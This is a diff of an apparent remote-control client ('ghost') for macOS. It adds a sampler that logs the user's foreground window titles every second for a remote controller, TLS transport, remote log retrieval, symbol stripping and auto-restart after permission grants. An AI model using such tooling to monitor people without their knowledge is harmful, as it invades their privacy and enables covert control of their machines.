if (match(kv.second))
|
||||
pids.push_back(kv.second.pid);
|
||||
pids.push_back(kv.second.pid);
|
||||
for (pid_t pid : pids)
|
||||
kill(pid, SIGTERM); // 只发信号,不等待
|
||||
}
|
||||
@@ -1753,30 +1741,17 @@ static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength)
|
||||
// 只在主线程调用(与 SendLoginInfo 同一线程),避免和接收线程抢同一个结构体。
|
||||
static void RefreshLoginTls(LOGIN_INFOR& info)
|
||||
{
|
||||
std::vector<std::string> fields;
|
||||
std::string s(info.szReserved);
|
||||
size_t pos = 0;
|
||||
for (;;) {
|
||||
size_t bar = s.find('|', pos);
|
||||
if (bar == std::string::npos) {
|
||||
fields.push_back(s.substr(pos));
|
||||
break;
|
||||
}
|
||||
fields.push_back(s.substr(pos, bar - pos));
|
||||
pos = bar + 1;
|
||||
}
|
||||
while (fields.size() <= (size_t)RES_TLS)
|
||||
fields.push_back("");
|
||||
fields[RES_TLS] = TlsEnabled() ? "1" : "0";
|
||||
info.SetReserved(RES_TLS, TlsEnabled() ? "1" : "0");
|
||||
}
|
||||
|
||||
std::string joined;
|
||||
for (size_t i = 0; i < fields.size(); ++i) {
|
||||
if (i)
|
||||
joined += '|';
|
||||
joined += fields[i];
|
||||
}
|
||||
strncpy(info.szReserved, joined.c_str(), sizeof(info.szReserved) - 1);
|
||||
info.szReserved[sizeof(info.szReserved) - 1] = '\0';
|
||||
// 登录信息 szReserved 里的 [20] RES_UPTIME 是「登录这一刻进程已经运行了多少秒」,服务端
|
||||
// 再加本次上线时长才是当前运行时长。logInfo 在重连循环外只构造一次(见 main 里的注释),
|
||||
// 不刷新的话每次重连上报的仍是进程启动那一瞬的 0,服务端算出来就只剩「本次连接时长」——
|
||||
// vps 实测:进程从 11-14 06:33 一直跑着,浮窗却只显示 1.3h(正好是当天 09:05 那次重连到
|
||||
// 双击时刻的间隔),而启动时间本身是对的。与 RefreshLoginTls 同样只在主线程登录前调用。
|
||||
static void RefreshLoginUptime(LOGIN_INFOR& info)
|
||||
{
|
||||
info.SetReserved(RES_UPTIME, std::to_string(getProcessUptimeSeconds()).c_str());
|
||||
}
|
||||
|
||||
// 能力位(moduleVersion 的 "-%04X" 后缀)里唯一依赖运行环境的是屏幕预览:
|
||||
@@ -1866,6 +1841,9 @@ int main(int argc, char* argv[])
|
||||
char hostname[256] = {};
|
||||
gethostname(hostname, sizeof(hostname));
|
||||
|
||||
// 只构造一次,每次连接复用它发登录。因此凡是「随连接变化」的字段都必须在发送前
|
||||
// 用 RefreshLoginTls / RefreshLoginUptime / RefreshLoginCaps 刷新;反过来,属于
|
||||
// 「进程启动时的事实」(szStartTime、clientID、安装时间…)就靠复用保持不变。
|
||||
LOGIN_INFOR logInfo;
|
||||
|
||||
// 读取分组名称(从配置文件或 g_SETTINGS)
|
||||
@@ -2027,15 +2005,13 @@ int main(int argc, char* argv[])
|
||||
Sleep(5000);
|
||||
continue;
|
||||
}
|
||||
// 主连接已经搬到转移目标:那条「提前建立」的临时连接完成使命。留着就是同一
|
||||
// clientID 在这个主控上的第二条连接,服务端会互踢。
|
||||
if (g_transferValidTo.load(std::memory_order_relaxed) > 0)
|
||||
StopChildren(KIND_TRANSFER);
|
||||
|
||||
// 进入新连接,重置服务端身份校验状态
|
||||
ClientAuth::OnNewConnection();
|
||||
// 传输方式可能已被热切换(TLS 启/停),登录上报的 RES_TLS 必须反映本次连接。
|
||||
RefreshLoginTls(logInfo);
|
||||
// 同一条连接可能是几小时前断掉后重连的,RES_UPTIME 必须按「现在」重算
|
||||
RefreshLoginUptime(logInfo);
|
||||
// 屏幕预览能力取决于本机当前是否有可用桌面(daemon 启动时可能还没有 DISPLAY)
|
||||
RefreshLoginCaps(logInfo);
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
@@ -2057,6 +2033,7 @@ int main(int argc, char* argv[])
|
||||
}
|
||||
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||||
RefreshLoginTls(logInfo);
|
||||
RefreshLoginUptime(logInfo);
|
||||
RefreshLoginCaps(logInfo);
|
||||
ClientObject->SendLoginInfo(logInfo);
|
||||
Mprintf(">> Resent login info after group change\n");
|
||||
@@ -2156,7 +2133,7 @@ int main(int argc, char* argv[])
|
||||
g_shareReaperStop.store(true, std::memory_order_relaxed);
|
||||
if (g_shareReaperThread.joinable())
|
||||
g_shareReaperThread.join();
|
||||
StopChildren(KIND_ALL);
|
||||
StopChildren();
|
||||
}
|
||||
|
||||
// 采样线程要在 main 的局部对象(historyChecker)析构前停掉
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
#pragma once
|
||||
// macOS 客户端的「历史活动」采样器(服务端 COMMAND_QUERY_ACTIVITY → TOKEN_REPORT_ACTIVITY)。
|
||||
//
|
||||
// 后台每秒采样一次前台窗口(CGWindowListCopyWindowInfo 取最前面的 layer 0 窗口),
|
||||
// 输出格式与 Windows/Linux 端完全一致,服务端 CActivityDialog 与 MCP
|
||||
// get_activity_history 都只按行切分纯文本,不需要改:
|
||||
// [2026-11-14 10:00:00] [Safari - GitHub] 12s
|
||||
// 停留不足 5 秒的一闪而过不记录;同一条记录里的窗口标题会跟着更新
|
||||
// (浏览器切标签页标题常变,但窗口没换,仍算同一段停留)。
|
||||
//
|
||||
// 与 Windows/Linux 一样各平台独立实现:Linux 那份要 X11,macOS 这份要 CGWindowList +
|
||||
// NSWorkspace,共用的只有输出格式。
|
||||
#include <atomic>
|
||||
#include <deque>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
|
||||
class MacActivityHistory
|
||||
{
|
||||
public:
|
||||
static MacActivityHistory& Instance();
|
||||
|
||||
// 启动后台采样线程(幂等)。应当在进程启动后尽早调用,历史从那一刻开始攒;
|
||||
// 查询时才启动的话,第一次查到的永远是空表。
|
||||
void Start();
|
||||
|
||||
// 进程退出时收线程;可以再次 Start(与 Linux 端一样保留这个能力)
|
||||
void Stop();
|
||||
|
||||
// 最新在前,每行一条;进行中的窗口(驻留已达阈值)排在最前
|
||||
std::string Dump() const;
|
||||
|
||||
// 还没有够 5 秒的记录时的说明,避免对话框全空
|
||||
static std::string EmptyText();
|
||||
|
||||
private:
|
||||
MacActivityHistory() = default;
|
||||
~MacActivityHistory() { Stop(); }
|
||||
MacActivityHistory(const MacActivityHistory&) = delete;
|
||||
MacActivityHistory& operator=(const MacActivityHistory&) = delete;
|
||||
|
||||
void Loop();
|
||||
|
||||
private:
|
||||
mutable std::mutex m_mutex;
|
||||
std::deque<std::string> m_records; // 已完成记录,最新在前
|
||||
std::string m_curTitle;
|
||||
std::string m_curStartTime;
|
||||
int m_curDwellSec = 0;
|
||||
|
||||
std::atomic<bool> m_running{ false };
|
||||
std::atomic<bool> m_started{ false };
|
||||
std::thread m_thread;
|
||||
};
|
||||
@@ -0,0 +1,233 @@
|
||||
#import "ActivityHistory.h"
|
||||
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <unistd.h>
|
||||
|
||||
#include <algorithm>
|
||||
#include <chrono>
|
||||
#include <cstdio>
|
||||
#include <ctime>
|
||||
|
||||
#include "../common/logger.h" // Mprintf(Start 失败要留痕)
|
||||
|
||||
// 与 Windows 端 client/ActivityHistory.h、Linux 端 linux/LinuxActivityHistory.h 一致
|
||||
#ifndef ACTIVITY_MIN_DWELL_SEC
|
||||
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
|
||||
#endif
|
||||
#ifndef ACTIVITY_HISTORY_MAX
|
||||
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
|
||||
#endif
|
||||
|
||||
namespace {
|
||||
|
||||
struct ProbeResult
|
||||
{
|
||||
uint64_t id = 0; // 窗口号(CGWindowNumber),0 表示空闲/无窗口
|
||||
std::string title;
|
||||
};
|
||||
|
||||
std::string CFStrToUtf8(CFStringRef s)
|
||||
{
|
||||
if (!s) return std::string();
|
||||
char buf[1024] = {};
|
||||
if (!CFStringGetCString(s, buf, sizeof(buf), kCFStringEncodingUTF8)) return std::string();
|
||||
return std::string(buf);
|
||||
}
|
||||
|
||||
// 按字节截断可能切在多字节字符中间,而服务端要按 UTF-8 转 GBK(对话框)或
|
||||
// 塞进 JSON(MCP),半截字符会变成乱码/非法 JSON。返回可以安全截断的位置。
|
||||
// 与 linux/LinuxActivityHistory.h 的 Utf8Boundary 同实现。
|
||||
size_t Utf8Boundary(const std::string& s)
|
||||
{
|
||||
const size_t n = s.size();
|
||||
size_t i = n;
|
||||
while (i > 0 && n - i < 3 && ((unsigned char)s[i - 1] & 0xC0) == 0x80) --i;
|
||||
if (i == 0) return n;
|
||||
const unsigned char c = (unsigned char)s[i - 1];
|
||||
size_t need = 1;
|
||||
if ((c & 0x80) == 0) need = 1;
|
||||
else if ((c & 0xE0) == 0xC0) need = 2;
|
||||
else if ((c & 0xF0) == 0xE0) need = 3;
|
||||
else if ((c & 0xF8) == 0xF0) need = 4;
|
||||
return (n - (i - 1) >= need) ? n : i - 1;
|
||||
}
|
||||
|
||||
// 控制字符换成空格(换行会破坏「每行一条」),可选截断
|
||||
std::string CleanLine(const std::string& s, size_t maxLen = 512)
|
||||
{
|
||||
std::string out;
|
||||
out.reserve(std::min(s.size(), maxLen));
|
||||
bool cut = false;
|
||||
for (char c : s) {
|
||||
unsigned char uc = (unsigned char)c;
|
||||
out += (uc < 0x20 || uc == 0x7f) ? ' ' : c;
|
||||
if (out.size() >= maxLen) { cut = true; break; }
|
||||
}
|
||||
if (cut) out.resize(Utf8Boundary(out));
|
||||
return out;
|
||||
}
|
||||
|
||||
std::string FormatTimeStamp(std::time_t t)
|
||||
{
|
||||
std::tm tm{};
|
||||
localtime_r(&t, &tm);
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
|
||||
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
|
||||
tm.tm_hour, tm.tm_min, tm.tm_sec);
|
||||
return buf;
|
||||
}
|
||||
|
||||
// 时长格式化:Ns / Nm / NmNs / NhNm(与 Windows/Linux 端一致)
|
||||
std::string FormatDuration(int sec)
|
||||
{
|
||||
if (sec < 0) sec = 0;
|
||||
if (sec < 60) return std::to_string(sec) + "s";
|
||||
if (sec < 3600) {
|
||||
int m = sec / 60, s = sec % 60;
|
||||
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
|
||||
: std::to_string(m) + "m";
|
||||
}
|
||||
int h = sec / 3600, m = (sec % 3600) / 60;
|
||||
return std::to_string(h) + "h" + std::to_string(m) + "m";
|
||||
}
|
||||
|
||||
std::string FormatWindowRecord(const std::string& startTime, const std::string& title, int dwellSec)
|
||||
{
|
||||
return "[" + startTime + "] [" + CleanLine(title) + "] " + FormatDuration(dwellSec);
|
||||
}
|
||||
|
||||
// 前台窗口探测。CGWindowListCopyWindowInfo 按「从前往后」返回屏幕上的窗口,
|
||||
// 第一个 layer==0 的普通窗口就是当前最前面的那个;窗口标题(kCGWindowName)
|
||||
// 只有录到屏权限时才可见,没有权限时退化为只报应用名。
|
||||
ProbeResult ProbeFrontWindow()
|
||||
{
|
||||
ProbeResult r;
|
||||
|
||||
CFArrayRef list = CGWindowListCopyWindowInfo(
|
||||
kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
|
||||
kCGNullWindowID);
|
||||
if (list == nullptr) return r;
|
||||
|
||||
const CFIndex count = CFArrayGetCount(list);
|
||||
for (CFIndex i = 0; i < count; ++i) {
|
||||
CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(list, i);
|
||||
|
||||
// 菜单栏/停靠栏/悬浮层都不是「用户在用的窗口」
|
||||
int layer = 0;
|
||||
CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer);
|
||||
if (layerRef) CFNumberGetValue(layerRef, kCFNumberIntType, &layer);
|
||||
if (layer != 0) continue;
|
||||
|
||||
// 跳过本进程自己的窗口(客户端没有界面,但保险)
|
||||
int ownerPid = 0;
|
||||
CFNumberRef pidRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowOwnerPID);
|
||||
if (pidRef) CFNumberGetValue(pidRef, kCFNumberIntType, &ownerPid);
|
||||
if (ownerPid == (int)getpid()) continue;
|
||||
|
||||
std::string owner = CFStrToUtf8((CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName));
|
||||
if (owner.empty()) continue; // 无主的系统杂项窗口
|
||||
|
||||
std::string name = CFStrToUtf8((CFStringRef)CFDictionaryGetValue(window, kCGWindowName));
|
||||
|
||||
uint64_t number = 0;
|
||||
CFNumberRef numRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowNumber);
|
||||
if (numRef) CFNumberGetValue(numRef, kCFNumberSInt64Type, &number);
|
||||
|
||||
r.id = number ? number : 1;
|
||||
r.title = name.empty() ? owner : owner + " - " + name;
|
||||
break;
|
||||
}
|
||||
|
||||
CFRelease(list);
|
||||
return r;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
MacActivityHistory& MacActivityHistory::Instance()
|
||||
{
|
||||
static MacActivityHistory inst;
|
||||
return inst;
|
||||
}
|
||||
|
||||
std::string MacActivityHistory::EmptyText()
|
||||
{
|
||||
return "[来源] 桌面窗口活动:暂无记录(没有停留超过 5 秒的活动窗口)\n";
|
||||
}
|
||||
|
||||
void MacActivityHistory::Start()
|
||||
{
|
||||
bool expected = false;
|
||||
if (!m_started.compare_exchange_strong(expected, true)) return;
|
||||
m_running = true;
|
||||
try {
|
||||
m_thread = std::thread(&MacActivityHistory::Loop, this);
|
||||
} catch (const std::exception& e) {
|
||||
// 采样是附加功能:线程起不来就降级成「没有历史活动」,别让异常穿过 main
|
||||
// (main.mm 里是裸调用,逃出去就是 std::terminate)。复位后允许再次 Start。
|
||||
m_running = false;
|
||||
m_started.store(false);
|
||||
Mprintf("*** ActivityHistory: failed to start sampler: %s ***\n", e.what());
|
||||
}
|
||||
}
|
||||
|
||||
void MacActivityHistory::Stop()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_thread.joinable()) m_thread.join();
|
||||
m_started.store(false);
|
||||
}
|
||||
|
||||
std::string MacActivityHistory::Dump() const
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
std::string out;
|
||||
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
out += FormatWindowRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
|
||||
for (const auto& rec : m_records)
|
||||
out += rec + "\n";
|
||||
return out;
|
||||
}
|
||||
|
||||
void MacActivityHistory::Loop()
|
||||
{
|
||||
uint64_t lastId = 0;
|
||||
std::string lastTitle, startTime;
|
||||
int dwellSec = 0;
|
||||
|
||||
while (m_running) {
|
||||
ProbeResult p = ProbeFrontWindow();
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
if (p.id == 0 || p.title.empty()) {
|
||||
// 空闲/锁屏/无窗口:结账上一个窗口
|
||||
if (lastId != 0 && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatWindowRecord(startTime, lastTitle, dwellSec));
|
||||
lastId = 0;
|
||||
lastTitle.clear();
|
||||
dwellSec = 0;
|
||||
} else if (p.id == lastId) {
|
||||
// 同一窗口:标题变了也连续累计(浏览器标签切换标题常变)
|
||||
++dwellSec;
|
||||
lastTitle = p.title;
|
||||
} else {
|
||||
if (lastId != 0 && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
|
||||
m_records.push_front(FormatWindowRecord(startTime, lastTitle, dwellSec));
|
||||
lastId = p.id;
|
||||
lastTitle = p.title;
|
||||
startTime = FormatTimeStamp(std::time(nullptr));
|
||||
dwellSec = 1;
|
||||
}
|
||||
|
||||
while (m_records.size() > ACTIVITY_HISTORY_MAX)
|
||||
m_records.pop_back();
|
||||
|
||||
m_curTitle = lastTitle;
|
||||
m_curStartTime = startTime;
|
||||
m_curDwellSec = dwellSec;
|
||||
}
|
||||
std::this_thread::sleep_for(std::chrono::seconds(1));
|
||||
}
|
||||
}
|
||||
+56
-4
@@ -4,11 +4,16 @@ project(ghost_macos)
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
# macOS deployment target
|
||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version")
|
||||
# macOS deployment target。arm64 的底线就是 11.0(Apple Silicon 首发系统),
|
||||
# 与 Homebrew openssl@3 自身的最低版本一致,避免链接时出现 "built for newer" 告警。
|
||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "11.0" CACHE STRING "Minimum macOS version")
|
||||
|
||||
# Universal Binary (Intel + Apple Silicon)
|
||||
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures")
|
||||
# 只构建 Apple Silicon。仓库里发布过的 macos/ghost 一直是 arm64-only(universal 设置从未
|
||||
# 真正落地),且 Homebrew 的 OpenSSL 是单架构——保留 x86_64 slice 会让链接直接失败。
|
||||
# 将来真要支持 Intel Mac,应单独用 x86_64 的 OpenSSL 构建一份,而不是把这里改回 universal。
|
||||
# 注意 CMAKE_OSX_ARCHITECTURES 是 cache 变量:旧 build 目录里存的值不会因这里改字面量而
|
||||
# 更新,build.sh 因此显式传 -DCMAKE_OSX_ARCHITECTURES=arm64。
|
||||
set(CMAKE_OSX_ARCHITECTURES "arm64" CACHE STRING "Build architectures (arm64 only)")
|
||||
|
||||
include_directories(../)
|
||||
include_directories(../client)
|
||||
@@ -19,8 +24,13 @@ set(SOURCES
|
||||
main.mm
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
# TLS 传输(OpenSSL 实现,与 Linux/Android 共用)。文件名叫 Linux 是历史原因,
|
||||
# 平台守卫为 __linux__ || __APPLE__;macOS 的差异只有 ExeDir() 用 _NSGetExecutablePath。
|
||||
../client/TlsChannelLinux.cpp
|
||||
../client/sign_shim_unix.cpp
|
||||
ScreenHandler.mm
|
||||
ScreenPreview.mm
|
||||
ActivityHistory.mm
|
||||
InputHandler.mm
|
||||
SystemManager.mm
|
||||
Permissions.mm
|
||||
@@ -49,6 +59,41 @@ find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
|
||||
find_library(ACCELERATE_FRAMEWORK Accelerate REQUIRED)
|
||||
find_library(ICONV_LIBRARY iconv REQUIRED)
|
||||
|
||||
# ---- OpenSSL(TLS 传输,见 client/TlsChannelLinux.cpp)----
|
||||
# macOS 不自带 OpenSSL。优先用 Homebrew 的 openssl@3;也可显式指定
|
||||
# cmake .. -DOPENSSL_ROOT_DIR=/path/to/openssl
|
||||
# Apple Silicon 的 Homebrew 前缀是 /opt/homebrew,Intel 是 /usr/local。
|
||||
if(NOT OPENSSL_ROOT_DIR)
|
||||
foreach(_openssl_candidate
|
||||
/opt/homebrew/opt/openssl@3
|
||||
/usr/local/opt/openssl@3
|
||||
/opt/homebrew/opt/openssl
|
||||
/usr/local/opt/openssl)
|
||||
if(EXISTS "${_openssl_candidate}/include/openssl/ssl.h")
|
||||
set(OPENSSL_ROOT_DIR "${_openssl_candidate}")
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
endif()
|
||||
if(NOT OPENSSL_ROOT_DIR)
|
||||
message(FATAL_ERROR
|
||||
"找不到 OpenSSL。先执行: brew install openssl@3\n"
|
||||
"或显式指定: cmake .. -DOPENSSL_ROOT_DIR=/opt/homebrew/opt/openssl@3")
|
||||
endif()
|
||||
|
||||
# 有静态库就静态链接:产物保持单文件,install.sh 不需要打包 dylib 或修 @rpath。
|
||||
# Homebrew 的 openssl@3 同时装 .a 和 .dylib;只有动态库时这里退化为动态链接并告警,
|
||||
# 那种情况下发布前必须把 libssl/libcrypto dylib 一并放进 .app 的 Contents/Frameworks。
|
||||
if(EXISTS "${OPENSSL_ROOT_DIR}/lib/libssl.a" AND EXISTS "${OPENSSL_ROOT_DIR}/lib/libcrypto.a")
|
||||
set(OPENSSL_USE_STATIC_LIBS TRUE)
|
||||
else()
|
||||
message(WARNING
|
||||
"OpenSSL 静态库不存在(${OPENSSL_ROOT_DIR}/lib/libssl.a),将动态链接;"
|
||||
"发布前请确认目标 Mac 装有同一份 OpenSSL,或把 dylib 放进 Contents/Frameworks。")
|
||||
endif()
|
||||
find_package(OpenSSL REQUIRED)
|
||||
message(STATUS "OpenSSL: ${OPENSSL_VERSION} (${OPENSSL_INCLUDE_DIR})")
|
||||
|
||||
target_link_libraries(ghost PRIVATE
|
||||
${COCOA_FRAMEWORK}
|
||||
${COREGRAPHICS_FRAMEWORK}
|
||||
@@ -68,6 +113,8 @@ target_link_libraries(ghost PRIVATE
|
||||
# libsign.a 内部使用 macOS CommonCrypto(HMAC-SHA256),CCHmac 在 libSystem
|
||||
# 中已被 Cocoa/CoreFoundation 等链接自动引入,故此处无需额外 framework
|
||||
"${CMAKE_SOURCE_DIR}/lib/libsign.a"
|
||||
OpenSSL::SSL
|
||||
OpenSSL::Crypto
|
||||
)
|
||||
|
||||
# Compiler flags
|
||||
@@ -77,6 +124,11 @@ target_compile_options(ghost PRIVATE
|
||||
-fobjc-arc
|
||||
)
|
||||
|
||||
# Release 链接时删掉 local 符号(对应 Linux 那边的 -s;ld64 用 -x)。
|
||||
# 只删 non-global 符号,external 符号保留,dyld 绑定不受影响;签名由 ld 在链接
|
||||
# 末尾完成,所以改符号表不会让签名失效。ghost 目前 ~19k 个符号里 8.3k 是 local。
|
||||
target_link_options(ghost PRIVATE $<$<CONFIG:Release>:-Wl,-x>)
|
||||
|
||||
# Output directory
|
||||
set_target_properties(ghost PROPERTIES
|
||||
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
|
||||
|
||||
@@ -10,6 +10,12 @@ public:
|
||||
// Returns true if granted, false otherwise
|
||||
static bool checkScreenCapture();
|
||||
|
||||
// 只查授权状态、不真的抓屏(macOS 10.15+,更早的版本恒为 true)。
|
||||
// 授权看守线程用它轮询:checkScreenCapture() 每调一次就抓一整帧(视网膜屏
|
||||
// 20+ MB),而这里只需要「用户刚在设置里勾上了」这个状态位。它在二进制重签名
|
||||
// 后可能报假阴性 —— 正因如此,启动时的那次检查仍用 checkScreenCapture()。
|
||||
static bool checkScreenCapturePreflight();
|
||||
|
||||
// Request screen recording permission (shows system dialog, macOS 10.15+)
|
||||
static void requestScreenCapture();
|
||||
|
||||
|
||||
@@ -34,6 +34,13 @@ bool Permissions::checkScreenCapture() {
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Permissions::checkScreenCapturePreflight() {
|
||||
if (@available(macOS 10.15, *)) {
|
||||
return CGPreflightScreenCaptureAccess();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void Permissions::requestScreenCapture() {
|
||||
if (@available(macOS 10.15, *)) {
|
||||
// Trigger system permission dialog
|
||||
|
||||
+76
-1
@@ -4,6 +4,12 @@ macOS Remote Desktop Client
|
||||
Prerequisites:
|
||||
1. Xcode Command Line Tools: xcode-select --install
|
||||
2. CMake: brew install cmake
|
||||
3. OpenSSL (TLS transport): brew install openssl@3
|
||||
CMake 自动探测 /opt/homebrew/opt/openssl@3,也可用
|
||||
cmake .. -DOPENSSL_ROOT_DIR=/path/to/openssl 指定。
|
||||
|
||||
构建目标是 Apple Silicon (arm64) 单架构:Homebrew 的 OpenSSL 只有本机架构,
|
||||
保留 x86_64 slice 会链接失败。Intel Mac 需另建 x86_64 的 OpenSSL 单独构建。
|
||||
|
||||
Build:
|
||||
chmod +x build.sh
|
||||
@@ -11,7 +17,7 @@ Build:
|
||||
|
||||
Or manually:
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
cmake .. -DCMAKE_OSX_ARCHITECTURES=arm64 -DCMAKE_OSX_DEPLOYMENT_TARGET=11.0
|
||||
make
|
||||
|
||||
Run:
|
||||
@@ -21,10 +27,79 @@ Configuration:
|
||||
Server address is configured in main.mm (g_SETTINGS variable).
|
||||
Modify before building if needed.
|
||||
|
||||
TLS Transport:
|
||||
Default is plaintext on first connect. The controller's host right-click menu
|
||||
("TLS 传输") sends the trust anchor; the client stores it at
|
||||
~/.config/ghost/yama-ca.pem, hot-reloads and reconnects over TLS 1.2
|
||||
(fail-closed, pinned to that anchor). "取消TLS" deletes the file and
|
||||
reconnects in plaintext. Existing sessions survive only if the transport does
|
||||
not change (replacing the certificate keeps TLS).
|
||||
|
||||
Verify after building:
|
||||
otool -L build/bin/ghost | grep -i ssl # 期望无输出:OpenSSL 已静态链接
|
||||
tail -f /tmp/ghost.log
|
||||
Startup prints one of:
|
||||
[TLS] transport on first connect: plaintext (no trust anchor)
|
||||
[TLS] transport on first connect: TLS (trust anchor present)
|
||||
Clicking "TLS 传输" should log "TLS transport switched to TLS, reconnecting";
|
||||
the host's TLS column in the online list then shows Y. "取消TLS" logs
|
||||
"switched to plaintext" and the column flips back to N.
|
||||
If the log says "trust anchor exists but failed to load", the client refuses
|
||||
to connect (fail-closed) until the anchor is fixed or removed.
|
||||
|
||||
Client Log:
|
||||
The controller's host right-click menu ("运行日志") sends COMMAND_QUERY_LOG;
|
||||
the client opens a sub-connection and reports its in-memory log ring
|
||||
(Logger, last 1000 lines) as TOKEN_REPORT_LOG. On macOS Mprintf (as defined
|
||||
by common/logger.h) writes that ring, and Logger mirrors the same line to
|
||||
stderr, so one Mprintf line reads identically in the dialog and in
|
||||
/tmp/ghost.log (same prefix and timestamp); content older than the
|
||||
1000-entry ring exists only in the file. main.mm logs startup, config,
|
||||
permissions, TLS, WS, connection and exit through Mprintf, so those lines
|
||||
are all visible in the dialog. The ObjC helper modules (ScreenHandler /
|
||||
H264Encoder / InputHandler / Permissions) still use NSLog, and the two
|
||||
"=== ghost ... started ===" banners are raw write(2) calls; all of those
|
||||
appear only in /tmp/ghost.log. Mprintf lines also no longer go to Apple's
|
||||
Unified Logging (NSLog in the helpers still does). The MCP tool
|
||||
get_client_log reads that same ring.
|
||||
|
||||
Verify: open "运行日志" for the Mac host; the dialog should show startup
|
||||
lines such as "=== macOS Ghost Client ===", "Config loaded from ...",
|
||||
the permission results, "[TLS] transport on first connect: ...", plus
|
||||
command and heartbeat entries.
|
||||
|
||||
Note: the POSIX client reports a snapshot once per connection (the Windows
|
||||
client keeps pushing increments every 3s). Closing and reopening "运行日志"
|
||||
takes a fresh snapshot.
|
||||
|
||||
Permissions Required:
|
||||
1. Screen Recording - System Settings > Privacy & Security > Screen Recording
|
||||
2. Accessibility - System Settings > Privacy & Security > Accessibility
|
||||
|
||||
Both are TCC grants, and macOS applies them per process: a grant made while
|
||||
the app is running only takes effect after it restarts. install.sh also resets
|
||||
both (tccutil reset) and re-signs the bundle ad-hoc on every install, and a
|
||||
rebuilt binary has a new cdhash, so the old records would not match anyway --
|
||||
expect to re-grant after each update.
|
||||
|
||||
When a permission is missing at startup the client requests both, and starts
|
||||
a watcher that polls CGPreflightScreenCaptureAccess / AXIsProcessTrusted --
|
||||
only for the permission that was actually missing; one that already passed
|
||||
the real capture check is not re-judged by preflight (it can report false
|
||||
negatives after re-signing). Once everything reads granted, the main loop
|
||||
disconnects and launches a fresh process ("Auto-restart: launching a fresh
|
||||
process ..."), so the new process starts with the grants in place: the old
|
||||
"grant one, kill, reopen" round trip twice becomes "tick both boxes and let
|
||||
it restart". The new process logs "(started by the auto-restart after
|
||||
permissions were granted)" at startup, and that line is what the 运行日志
|
||||
dialog shows, because the in-memory ring dies with the old process; the
|
||||
Auto-restart line itself stays in /tmp/ghost.log only. The watcher gives up
|
||||
after 15 minutes, and the auto-restart happens at most once per launch
|
||||
(guarded by GHOST_AUTO_RELAUNCHED), so if something still reports missing,
|
||||
restart manually as before. The restart disconnects first, so the controller
|
||||
sees a clean disconnect and reconnect, but any remote session in progress
|
||||
(screen, terminal, file transfer) is dropped when it happens.
|
||||
|
||||
Features:
|
||||
[x] Screen capture (CGDisplayCreateImage)
|
||||
[x] H264 video encoding (VideoToolbox)
|
||||
|
||||
@@ -128,6 +128,9 @@ private:
|
||||
std::atomic<uint8_t> m_algorithm;
|
||||
std::atomic<int> m_maxFPS;
|
||||
int8_t m_qualityLevel;
|
||||
// Web 端请求下一帧强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ)。只由接收线程置位、
|
||||
// 采集线程消费:编码器实例只在采集线程里创建/销毁,接收线程不能直接碰。
|
||||
std::atomic<bool> m_keyframeRequested{false};
|
||||
|
||||
// Pending resolution change (set by applyQualityLevel, consumed by captureLoop)
|
||||
std::atomic<bool> m_dimensionsChanged{false};
|
||||
|
||||
+52
-3
@@ -17,6 +17,22 @@
|
||||
// Global client ID (calculated in main.mm)
|
||||
extern uint64_t g_myClientID;
|
||||
|
||||
// 质量等级持久化:服务端下发 CMD_QUALITY_LEVEL 时带 persist 位,就是「下次开机还这样」。
|
||||
// 存 NSUserDefaults 而不是 ~/.config/ghost/config.conf——后者由 main.mm 用内存 map 整体
|
||||
// 重写(分组变更会触发),单独往同一个文件写键会被下一次写盘冲掉。
|
||||
static NSString* const kQualityLevelKey = @"GhostQualityLevel";
|
||||
|
||||
// 读上次保存的等级。范围外的值(-2 关闭 / -1 自适应 / 越界)保留原值返回,
|
||||
// 由 applyQualityLevel 决定怎么处理:只有 [0, QUALITY_COUNT) 才会套用配置表。
|
||||
static int8_t loadPersistedQualityLevel()
|
||||
{
|
||||
NSNumber* saved = [[NSUserDefaults standardUserDefaults] objectForKey:kQualityLevelKey];
|
||||
